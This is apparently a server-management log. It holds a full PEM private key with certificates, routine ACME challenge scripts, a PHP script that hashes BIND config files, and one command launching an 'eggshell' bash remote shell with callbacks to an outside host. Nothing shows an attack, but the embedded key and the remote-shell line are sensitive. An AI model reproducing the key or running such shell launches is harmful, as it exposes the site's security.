bmNyLm9yZy8xOS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgDYCVU7lE96
/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ8M0bcwAAAEAwBHMEUCIQD2iBDJ
UhLAVnAS1zbfkhw/jzBJ8EeEq8zynKQx+tJU8QIgF61lFS5zjW+gFhgKSw+y3LOT
QMoC72HtyxJiJ0ZN6J8AfwAm42RuWGkhI7w0P0ckNZs3ks0kWojYFdOTM/2ZGKtH
IwAAAZ8M0bVuAAgAAAUAIvHH8wQDAEgwRgIhAOHJCsVewWgRzREpRy5hdR7bBQoJ
90AqjSaa4IsAeruIAiEAgYd/4okuNidzsK75hvPttpVE+fFI/tDMKvPEajNJek4w
DQYJKoZIhvcNAQELBQADggEBACVPGYbB0TtIbaHuqnKCoiyCDh/mZr/YihRxWBzL
0ly9P1QSvDrq+qYT1NNAZ4kDj2yE0tdw+JMdHsnZFHVBpOv7ENlD7034REJBpACC
/L/Q9g22A0d4MROF7JCQprUUAzgCopt49eerx3uVnbGDQZCQ7I57AJM/iUeH3a/r
N9BS9OxR6M08pGVLzrtj8vX2W/Yqj5SRPDVPIIr+ArtXccgqW9kZcSD0Klo9X4/M
0T4hBGPQSNi4tLm3xJiAzZwPZDLwYdJo/NnBZhPX7PdpHjpBaBY3CXbkzCkO+zLi
eYu0pGt/LKbzIFhAvNnVYueUP52ID/pQCo6Mp54JPLd21qI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1yMkccxl7oCbe
l3g9AgOFXJlJBMHcQ6jJmFpx4xifwsyE/exnWjROHrBNttnnlpAYHc9aGU6qGhGf
EySrVSWC5bp50Hz0LTuLVRMGvf0bmjSvgHgOVMwPQMQZpEi07ajQEzC9ZlK+lcb7
5U0UjWoUnSoCVsBELrp1buEKHohdfGEf5vFjF+ybl7L0PQA2bcmT3kACLbbbi/hQ
I7G5hnzDP5VA4zwtlTfByOgs9QJgmJQhOa2R9jKtmfKhldowy2/DM6qorOX6h3O5
25l1C+C6XnK1jWtIj1bDFf0KwpoLaWw2mnBkX0vnAlDTpNlyUlcPsh6u5y2EnOee
ZoGMrmFfAgMBAAECggEARNm1gjb98droneoUulam6r31uLg6jKh7p08zAmuXCfuH
5t8dyM9bfDMXZ3fX9GUMUnYH8QIgz0BsaCmh+9qWCIvmIvkaOolfQhiIykbvNKMl
TUuFLThkyWooW+XjO9O/2n9KOJImyNSFtyZUGXKuOPyFyrj8vVZNfOjwBxslXvJ2
9p1Fgz0fB1cPzcx4fmePTS+sH3s5wUZ4jEX6zan7xotaFwSQ4KB2SzaD/2z9kr5M
NhB1PeHemtH8ar7iJoWvKbwqeOK3aaM+iJt4aULX9WvOuKAhFZahSIz+19mdiYQ9
JGJezczTEs7K228DRZ7ZTBLRaaDe9Xx3CX4deZDTEQKBgQDrWLyZk3LQKlU4eAHz
3tv9JCW9+X0uN8rAyi2O+o4m49oG98duuK3QefcP8hMS4PtjVx9gE1/ShIVzsqC/
nj3D2/JWHu35IHrp0NYCdX3NZFeZzFt8u9l+cFqTO8TIiC3/nWnSZJeEKVgIMPIA
PqC4UQNvSiu+D1KnA9jCDu196wKBgQDFvLnNMX4FO4FRFAqiSlOXSz4NqnkI5HAy
RsFccWeqFjDObmp0MSF/9CDP+ti5xKyRgU27jlByDrZ8iH2Kj9UVvup9Lsop7Js7
zD9QXUVACB8aYEkpIgKxFCW1tOoVtsftd/cOVM7jMvNuF3KxDjasrdmDBT9b1p0Q
Vlly7XcpXQKBgQCeE/h6X2PbFtQvHcyR9btmCQWg2ReQF8GERUjcpMcesCUeUQgQ
AtQdGA8vErZlE+FHFJnqepj+Wi0ZTX5TtwJdsDrSRewqTfrBWpilBi3968w7bdx1
p+eq2eS8yISg/XeIHj+aJh7vkqWiut2R9H8XzrKz6en/u2MU86yAjG5RCQKBgDpU
yybZ88gNXr+RPvXTIUefXaXgZSYXZXWfY8kmdyM4upsa/XJbT/uUA932rNpYR2QB
FfI/MEIFTxX7mbU3au+oSzo0hFTLxJtmTEMj0JrsCmjYgJyOuOaN//XTcb6IFgBa
hFoI8KMbU65lYmMSw1Q7UNASyzcHX3wDTQ3XOXDNAoGAV174wq7CtbSiUDVUThC2
PvuF7qhZNtrWm16eScuWHd8lxyxwegD+6PJKyBFYUOzEdrEd07+QCs970wqk2anF
Izk+Xj0DCG9zPYeEMyyjNFANsqXNxNj1NEgYWHID2uSS+CvxAovpYtxam7cnZoJD
w795ttQ6hZfWodAsQAi0rzY=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-29 06:00:02: Establishing a connection
2026-06-29 06:00:03: Establishing a connection
2026-06-29 06:00:03: 

PUT: /tmp/pkp790835

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-29 06:00:04: 

chmod 755 /tmp/pkp790835; /tmp/pkp790835; rm /tmp/pkp790835

2026-06-29 06:00:04: 


1


2026-06-29 06:00:05: Establishing a connection
2026-06-29 06:00:05: 

PUT: /tmp/pkp303370

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > Ri1mE6jCPWjg9EagjlvejUtfVmeBshk0xJmOdFFDJ9A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Ri1mE6jCPWjg9EagjlvejUtfVmeBshk0xJmOdFFDJ9A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Ri1mE6jCPWjg9EagjlvejUtfVmeBshk0xJmOdFFDJ9A


2026-06-29 06:00:05: 

chmod 755 /tmp/pkp303370; /tmp/pkp303370; rm /tmp/pkp303370

2026-06-29 06:00:05: 




2026-06-30 06:00:03: Establishing a connection
2026-06-30 06:00:03: Establishing a connection
2026-06-30 06:00:03: 

PUT: /tmp/pkp907838

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-30 06:00:04: 

chmod 755 /tmp/pkp907838; /tmp/pkp907838; rm /tmp/pkp907838

2026-06-30 06:00:04: 


1


2026-06-30 06:00:05: Establishing a connection
2026-06-30 06:00:05: 

PUT: /tmp/pkp417595

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > 2NiGuiLUIScIezGGpZm-C3ZdNXZc_GKEW7Fsn5wrR8E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2NiGuiLUIScIezGGpZm-C3ZdNXZc_GKEW7Fsn5wrR8E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2NiGuiLUIScIezGGpZm-C3ZdNXZc_GKEW7Fsn5wrR8E


2026-06-30 06:00:05: 

chmod 755 /tmp/pkp417595; /tmp/pkp417595; rm /tmp/pkp417595

2026-06-30 06:00:05: 




2026-07-01 04:08:26: Establishing a connection
2026-07-01 04:08:35: Establishing a connection
2026-07-01 04:08:36: 

PUT: /tmp/pkp890882

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "40b09842-754c-4485-add4-194e72e32189" -ro "af464b65-f256-40e2-bf4b-5c3366dc98d6" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "40b09842-754c-4485-add4-194e72e32189" -ro "af464b65-f256-40e2-bf4b-5c3366dc98d6" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-07-01 04:08:37: 

chmod 755 /tmp/pkp890882; /tmp/pkp890882; rm /tmp/pkp890882

2026-07-01 04:08:38: 


command launched: /usr/local/bin/eggshell -o -c bash -rw 40b09842-754c-4485-add4-194e72e32189 -ro af464b65-f256-40e2-bf4b-5c3366dc98d6 -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-07-01 06:00:02: Establishing a connection
2026-07-01 06:00:02: Establishing a connection
2026-07-01 06:00:02: 

PUT: /tmp/pkp759726

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-01 06:00:03: 

chmod 755 /tmp/pkp759726; /tmp/pkp759726; rm /tmp/pkp759726

2026-07-01 06:00:03: 


1


2026-07-01 06:00:05: Establishing a connection
2026-07-01 06:00:05: 

PUT: /tmp/pkp769209

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > 6IVqwB1fMwI2jSUFVzrWYsaiYk6f29frxs0apMP8UTc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6IVqwB1fMwI2jSUFVzrWYsaiYk6f29frxs0apMP8UTc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6IVqwB1fMwI2jSUFVzrWYsaiYk6f29frxs0apMP8UTc


2026-07-01 06:00:05: 

chmod 755 /tmp/pkp769209; /tmp/pkp769209; rm /tmp/pkp769209

2026-07-01 06:00:05: 




2026-07-02 06:00:01: Establishing a connection
2026-07-02 06:00:02: Establishing a connection
2026-07-02 06:00:02: 

PUT: /tmp/pkp672208

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-02 06:00:03: 

chmod 755 /tmp/pkp672208; /tmp/pkp672208; rm /tmp/pkp672208

2026-07-02 06:00:03: 


1


2026-07-02 06:00:04: Establishing a connection
2026-07-02 06:00:04: 

PUT: /tmp/pkp871440

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > vBAIA0OERNUerbd2M8ZLs8doqotCn0Fj1ZZyuz1AOXQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vBAIA0OERNUerbd2M8ZLs8doqotCn0Fj1ZZyuz1AOXQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vBAIA0OERNUerbd2M8ZLs8doqotCn0Fj1ZZyuz1AOXQ


2026-07-02 06:00:04: 

chmod 755 /tmp/pkp871440; /tmp/pkp871440; rm /tmp/pkp871440

2026-07-02 06:00:04: 




2026-07-02 22:56:03: Establishing a connection
2026-07-02 22:56:13: Establishing a connection
2026-07-02 22:56:14: 

PUT: /tmp/pkp259583

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-02 22:56:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp259583; rm /tmp/pkp259583'

2026-07-02 22:56:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
